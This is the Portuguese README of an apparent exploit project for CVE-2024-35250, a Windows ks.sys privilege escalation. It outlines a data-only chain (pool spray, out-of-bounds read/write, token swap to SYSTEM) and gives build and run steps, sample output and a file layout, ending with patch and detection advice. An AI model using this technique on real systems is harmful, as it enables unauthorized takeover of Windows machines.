
CVE-2024-35250 demonstra que o HVCI não é uma defesa contra exploits de kernel apenas de dados. Enquanto um bug de driver fornecer uma primitiva arbitrária de R/W, a troca de token permanece uma técnica universal de elevação para SYSTEM — sem necessidade de execução de código.
Escalada de privilégio local via desreferenciamento de ponteiro não confiável no driver Windows Kernel Streaming (ks.sys).
Exploração baseada apenas em dados — contorna a Integridade de Código Protegida pelo Hipervisor (HVCI).
| Campo | Detalhe |
|---|---|
| CVE | CVE-2024-35250 |
| Componente | ks.sys (Kernel Streaming) |
| Classe de Bug | Desreferenciamento de Ponteiro Não Confiável |
| Impacto | EoP para NT AUTHORITY\SYSTEM |
| HVCI | Contornado — sem execução de código no kernel |
| Correção | KB5039212 (Junho de 2024) |
| Alvos | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler despacha solicitações de propriedade de nível de topologia através de KspProcessPropertyNode. O campo NodeId da estrutura KSP_NODE fornecida pelo usuário é usado como um índice em um array de tabela de automação interna sem validação de limites:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- controlado pelo atacante
Um NodeId forjado que excede a contagem real de nós redireciona a desreferência para a memória do pool adjacente, gerando uma primitiva de leitura/escrita fora dos limites.
O exploit manipula exclusivamente estruturas de dados do kernel:
EPROCESS via NtQuerySystemInformationActiveProcessLinks para localizar PID 4 (System)Nenhum shellcode é injetado. Nenhuma página de código não assinada é criada ou executada. Nenhum ponteiro de fluxo de controle é sequestrado.
| Proteção | Status |
|---|---|
| HVCI / KMCI | Contornado |
| SMEP | Não acionado |
| SMAP | Não acionado |
| kCFG | Não acionado |
hvcipwned.sln no Visual StudioCtrl+Shift+B)Binário de saída: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
Execute a partir de uma sessão de usuário sem privilégios em um sistema vulnerável (sem patch). Em caso de sucesso, uma nova janela cmd.exe é aberta executando como NT AUTHORITY\SYSTEM.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - tipos, macros de log, typedefs da API NT
├── offsets.h - offsets de campo eprocess por compilação
├── device.h - enumeração de dispositivo ks
├── leak.h - vazamentos de endereço do kernel
├── krw.h - contexto de primitiva r/w
├── token.h - troca de token + geração de shell
└── exploit.h - entrada de nível superior
├── main.c - ponto de entrada
├── device.c - abertura de dispositivo via setupapi
├── leak.c - vazamentos via NtQuerySystemInformation
├── krw.c - acionamento da vulnerabilidade + pool spray + r/w
├── token.c - percurso eprocess + sobrescrita de token
└── exploit.c - orquestração
Os offsets são resolvidos automaticamente em tempo de execução via RtlGetVersion.
Este projeto é fornecido apenas para fins autorizados de pesquisa de segurança e educacionais. Não use contra sistemas sem permissão explícita por escrito. O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado por este software.
| CET / Shadow Stack |
| Não acionado |
| SO | Compilação | Status |
|---|
| Windows 10 20H1 | 19041 | Suportado |
| Windows 10 20H2 | 19042 | Suportado |
| Windows 10 21H1 | 19043 | Suportado |
| Windows 10 21H2 | 19044 | Suportado |
| Windows 10 22H2 | 19045 | Suportado |
| Windows 11 21H2 | 22000 | Suportado |
| Windows 11 22H2 | 22621 | Suportado |
| Windows 11 23H2 | 22631 | Suportado |
| Ação | Detalhe |
|---|
| Correção | Instalar KB5039212 (Junho de 2024) ou posterior |
| Detecção | Monitorar IOCTL_KS_PROPERTY com flag KSPROPERTY_TYPE_TOPOLOGY |
| EDR | Alertar sobre alterações de integridade de token via callbacks do kernel EtwTi |
| Fortificação | Restringir o acesso do usuário às interfaces de dispositivo KS via DACL |